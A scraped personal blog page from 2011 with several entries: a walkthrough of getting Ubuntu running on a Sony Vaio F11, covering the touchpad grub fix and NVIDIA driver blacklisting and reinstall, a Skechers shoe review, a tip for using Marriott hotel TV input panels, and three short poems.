I have always had success with using Ubuntu, and Ubuntu is generally a 15 minute install without any hassle, especially on a brand new computer where nothing needs to be backed up. Well the Sony Vaio F11 is not an easy system to get up and running with Ubuntu. Right after the Live Ubuntu CD has been inserted you immediately encounter a problem...the touchpad does not work! Well, having used Ubuntu before and preferring not to use a touchpad, this was easy to work around to get Ubuntu installed, just tab to "Install Ubuntu" and use the keyboard shortcuts to do the rest. Ok, the installation was going through. After the installation and Ubuntu loaded up guess what? The touchpad was still not working. Having a USB Mouse to plug into the computer, I connected my eth0 to get online and do some googling using Firefox. What I found was that for whatever reason Ubuntu does not recognize the Sony Touchpad (I found this eerily weird given Ubuntu's Easy setup reputation) and there is a hack to get it working thanks to the Ubuntu Forums.

Edit /etc/default/grub to include GRUB_CMDLINE_LINUX="i8042.nopnp"
sudo update-grub


Great, I now have a touchpad to use finally. Thinking it is wise to do an upgrade, I went ahead and ran:

sudo apt-get update
sudo apt-get upgrade


The process goes through smoothly and I decide to reboot because Ubuntu tells me I need to Restart. I go ahead and reboot...wait a second, I was suppose to see Ubuntu show up...it appears the updates broke my system and now all I see is a black screen, which you can tell the system is on (given the green LED on the power button). Well this is the pits. After some more googling (from my wife's computer) it appears that the NVIDIA drivers that are in the Ubuntu repository do not go well with the Sony Vaio. The fix was again, easy, but annoying. I loaded up the Ubuntu Live CD, had my USB Mouse plugged in, went to "Try Ubuntu". Once there I loaded up a terminal (Alt + Ctrl + T) and blacklisted the NVIDIA driver. To do this I had to mount my drive and create a file, during the fdisk -l /dev/sda part, we need to find the sda number that is set for the root drive. This will generally be sda3 / sda4 / sda5, depending on how you set it up. If you did the automatic with a separate home partition it should be sda3. No matter, after you mount it, if it is not the right drive, use `umount /media/sdaX` and then try the next number. To know its the right drive, doing an `ls /media/sda` should come back with folders like `/etc` `/bin`...

sudo su -
cd /media
mkdir sda
fdisk -l /dev/sda
mount -a /dev/sda3 /media/sda
cd /media/sda/etc/modprobe.d/
nano blacklist-nvidia.conf
#Paste this text in the blacklist file
# we black list the nouveau so we can install the proper nvidia drivers later
blacklist nvidia
blacklist nouveau
#Save with Ctrl+X


That should blacklist the driver. Before we reboot the computer, we will want to go and download the latest driver for the video card at NVIDIA, mine was a 450m Cuda, yours may be different depending on the model. We will want to save them to `/media/sda/opt`, if that is not a directory, go ahead and make it and then using Firefox, download the drivers and move them to that folder.

Once that has been done, go ahead and reboot. Once the Ubuntu Login screen comes up, we want to run a TTY, so hold Ctrl+Alt+F2, this should take you to a terminal go ahead and login, your normal account should suffice (we will just sudo later). Once in the terminal, let's go ahead and install the proper NVIDIA drivers.

sudo su -
cd /opt
chmod +x NVIDIA*
./NVIDIA*


Go ahead and follow the prompts, at the end it should say it was installed, at this point we need to enable the NVIDIA driver.

cd /etc/modprobe.d/
nano blacklist-nvidia.conf


Leave the nouvea driver blacklisted, but delete the nvidia line. Once this has been done and saved, type `reboot` and the computer should restart and you should have a working version of Ubuntu with the Sony Vaio F Series. Caveats, never upgrade NVIDIA from the Ubuntu Repository, it will ask you to, do not or else you have to go through this mess again. You cannot change the brightness etc without doing some modifications to the xorg.conf, if you would like this feature check out Vaio-F11 on Linux. Finally, under Linux, in order to get proper power management for a Vaio Laptop, you will need to compile a custom kernel (see the Vaio-F11 Linux site above for how to do that). Compiling a Kernel is not easy, but after you do it a few times it get's easier, given I need to re-compile mine I may write a blog about how to do it. But all in all, you now have a working Vaio F11 Series laptop on Ubuntu Linux! Congratulations (now aren't you glad you found this blog!).

Conclusion for Ubuntu on Sony Vaio F11 Series
I would not really recommend running Ubuntu on the Sony Vaio F11 series, until Ubuntu or Sony can address the major issues. If you do run it, at least you know the hacks / work around's to fix it. It is very unfortunate that the drivers are not compatible, and I do not blame Ubuntu in the slightest. Sony is notorious for having it's own set of drivers that use proprietary software which is not available on Linux except through hacks. It is workable, but just beware that it takes a lot of effort to get Ubuntu working on the Sony Vaio F11 Series. For me it took a good 5+ hours to find all this information and get everything "working". I formatted a few days later to see how the Sony Vaio F11 Series laptop ran on Windows 7..

Continuation
I will write a new blog in a few days about my experiences with the Sony Vaio F11 series laptop under Windows 7 and another on Arch Linux, given the extent of the information I have. So please check back, or better yet, subscribe to my RSS feed! I will update this blog with links once I post those items.
0 Comments
Mood: inadequate
KeyWords: linux, vaio, f11, f series, f11 series, series, ubuntu, arch, windows, review, good, bad, hacks, work arounds, tutorial, instructions, code, vaio laptop, laptop, vaio linux, nvidia, nvidia drivers, nvidia vaio, 425m, touchpad

frost Sketchers Shoe and Store Review May 25th, 2011 19:14 - Subscribe
Recently I acquired a pair of Sketchers Shoes from the Sketchers store at Colorado Mills in Golden, CO. I am a huge fan of Sketchers for a few reasons, my first is I really like their designs they just suit me. The second reason and perhaps the main reason; they have "WIDE" shoes available. The WIDE shoes that Sketchers offer I find much more comfortable for my feet, in other words, they actually have room to breathe. Let's dive a bit further into the shoes themselves.

Sketchers CityWalk Midnight

Comfort Levels of Sketchers
The new pair of Sketchers I bought are mildly comfortable. They are not nearly as comfortable as my older pair, probably because I bought them to look a bit nicer for work. After the first week of wearing them and breaking in my new shoes, they became quite a bit more comfortable to wear. It just took that initial time of wearing them to get them just right. Now I love those shoes, and it is too bad I want to keep them nice looking for work, because I only wear them to work and nothing else (unless a fancy dinner comes up). All in all the new Sketchers I bought were not very comfortable at first, but after breaking them in they have become much more comfortable to wear daily.

Price vs Value
The Price of the Sketchers that I paid was reasonable. They had a deal going on Buy One get the Second Half Off. Of course my wife was with me when I bought my shoes and I gave in and let her pick out a pair for her. So for around $70 we walked out with 2 new pair of Sketcher shoes. Hers are more relaxed wear, but she loves how comfortable hers are. So given that I paid roughly $35 for my shoes, I would say that we came off with a pretty good deal. I am not one to spend a ton of money on shoes, and I was pretty happy with that price. For the price, I would say I got a great value on my new pair of shoes.

Sketchers WIDE Fit
I am not seen many brands that make a "WIDE" shoe for fat feet. But before I started buying Sketchers, it seemed no matter what shoe I bought my big toes would end up being sore, even after they were broken in. This was annoying to say the least, as having sore toes are not fun. Then one day, I was looking at shoes and saw the Sketchers with the "WIDE" tag. I tried them on and just fell in love. Since then I have kept my eye out for "WIDE" shoes in different brands, like Nike's. And I have yet to really find a "WIDE" shoe that fits me as well as Sketchers and maintains a great Price to Value ratio.

Sketchers at the Colorado Mills Mall
The Sketchers store at the Colorado Mills, seemed a bit high priced to me. The higher prices could have been because the store was in the Mall. Luckily they had the Buy one Get one Half Off deal going on, or I probably would not have bought my shoes. The last Sketchers I bought, before these ones, I found at DSW Shoe Warehouse on Clearance for $30 or so. I probably just got lucky to find them there at the time, but that seemed very reasonable to me for a pair of shoes, so I bought them. I was sad to say that I did check out DSW Shoe Warehouse and other places before going to the Sketchers Store at the Colorado Mills Mall, and was unable to find a pair of Sketchers that I liked for a reasonable price. For comparison, the Sketchers Store at the Colorado Mills Mall was about the same price as the Sketchers at DSW Shoe Warehouse, not on clearance. My take, if you cannot find a good deal at another place, you might as well just go to the Sketchers Store and buy from them directly. However, if you are lucky enough to stumble upon a Pair of Sketchers on Clearance that suit you, you are probably better off buying them from that store.

Overall Satisfaction
Overall I am satisfied with my Sketchers purchase, not as satisfied as I was with my last pair, but still satisfied. Their comfort level is decent and the WIDE Sketchers are just awesome, given I do not get sore toes anymore. The Colorado Mills Mall Sketchers Store is not the cheapest place you can find Sketchers, but they do have deals that go on throughout the year, which may make your next pair a decent deal. Their stock may not be the best, but they had what I needed. So if you are in the Golden area and find yourself needing a new pair of shoes, go ahead and stop by the Sketchers Store at the Mills, who knows, you may find your next good pair of shoes there!
0 Comments
Mood: done
KeyWords: sketchers, s, its the, its the s, review, city, walk, comfortable, value, price, buck, co, mills store, mall store, wide, wide width, offer, breathe, comfy, good, buy, excellent, like

frost Marriott Hotel Get the Composite HDMI VGA Jack Pack to Work Apr 25th, 2011 23:55 - Subscribe
I stay at the Ft. Collins Colorado Marriott Hotel when I travel. Throughout my travels I have had a hit or miss with the TV and Marriott's "Jack Pack" which has Composite / VGA / HDMI inputs to go to the TV. This is to make hooking up your own electronics (such as a DVD Player) easier to do. Unfortunately, it seems the system is still buggy and likes to lock you out. This can be very annoying and disheartening if you were looking forward to watching your own media. Fortunately, I have found some great information on how to get past this annoyance of a hit or miss depending on your room. Well look no further, here is the much needed information to get your Computer / Laptop / Media Player / DVD Player / Wii / PS3 / XBox / XBox 360 to work in your Marriott Hotel room using their Jack Pack panel.

Jack Pack Panel Picture

The concept is rather simple, turn the TV on. Get out of the On Command menu (click Channel Up). You should be on Channel 2 or something similar. From here, Enter a Channel between 90-96. These are the channels set aside for the Jack Pack, you should be able to find the general input Channels (AV1 AV2 HDMI Composite DVI) etc. And it should pull up the right connection when you go to it! If that fails, check the side of the TV for the AV2 inputs etc and you should be able to directly connect to those (pending if the Marriott Hotel has them locked down, the Ft. Collins Marriott does not). And viola, you should be able to watch your own media!

Hope this helps you out, it sure helped me out and took me a long time to find this information. If you have questions or extra tips, please add a comment!
3 Comments
Mood: splendid
KeyWords: solved, help. resolve, media, dvd, ps3, xbox, playstation, hookup, solution, marriott, jack, jack pack, pack, rca, vga, composite, component, vga, svga, laptop, connect, dvi, hdmi, audio, channels, hack, tv, lg, series, hotel, break, not working, working,

end-of change. Apr 24th, 2011 16:25 - Subscribe
before towers
took root;
before train tracks
splintered out
like veins,

the rolling foothills,
the river valley
belonged
to the man at
the station

who asks if I
can spare a dollar,
because I
remind him of
his daughter.

he explains where
I can catch my bus
(I look lost)
he says

he's been there
all day
hoping to net that
spare change -
no luck yet.

and all I can see
is the prairie - once,
before the sidewalks,
before the stores.

that's the kind
of change
we hand out
to those who wait.

I remind him
of his daughter -
but I'll look after
my father
for all of his days;

and this daughter
has let him down,
just like the land that
should have been his.

I don't have a dollar
to give him, so I go,

but my soul stays
beside him -
on a bench at a station
in a city on the prairie -

also hoping
for change.
0 Comments
Mood: regretful.

end-of erosion. Apr 16th, 2011 23:36 - Subscribe
all of it
beyond me
now, floating
away

I'm trying
to learn
that I
can't stay -

yet I still
reach back,
grasp the next
solid thing
I know
to be true

and feel it
dissolve -

the foundation
I'm built on is
washing away;

all of my
elements
unstitched,

I'm adrift.
0 Comments
Mood: lost.

end-of all things Apr 3rd, 2011 23:03 - Subscribe
an education
in the fine art of
goodbyes;

a lesson
in loving
and letting go.

acceptance:
last to arrive
in sorrow -

the passing
of all that I
thought I held.

teach me
how to let go,
and release me.

I open my
hands - finally,
freefall -

I see now:
all things are
transient.
0 Comments
Mood: hopeful